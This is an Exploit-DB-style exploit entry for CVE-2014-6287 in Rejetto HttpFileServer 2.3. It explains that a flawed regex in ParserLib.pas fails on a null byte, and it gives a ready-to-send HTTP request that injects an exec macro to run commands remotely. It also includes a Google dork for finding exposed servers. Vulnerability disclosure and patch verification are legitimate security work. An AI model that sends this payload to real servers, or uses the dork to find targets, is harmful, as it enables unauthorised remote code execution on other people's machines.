  # Google Dork: intext:"httpfileserver 2.3"
  # Date: 11-09-2014
  # Remote: Yes
  # Exploit Author: Daniele Linguaglossa
  # Vendor Homepage: http://rejetto.com/
  # Software Link: http://sourceforge.net/projects/hfs/
  # Version: 2.3.x
  # Tested on: Windows Server 2008 , Windows 8, Windows 7
  # CVE : CVE-2014-6287
  
  issue exists due to a poor regex in the file ParserLib.pas
  
  
  function findMacroMarker(s:string; ofs:integer=1):integer;
  begin result:=reMatch(s, '\{[.:]|[.:]\}|\|', 'm!', ofs) end;
  
  
  it will not handle null byte so a request to
  
  http://localhost:80/?search=%00{.exec|cmd.}
  
  will stop regex from parse macro , and macro will be executed and remote code injection happen.
  
  
  ## EDB Note: This vulnerability will run the payload multiple times simultaneously.
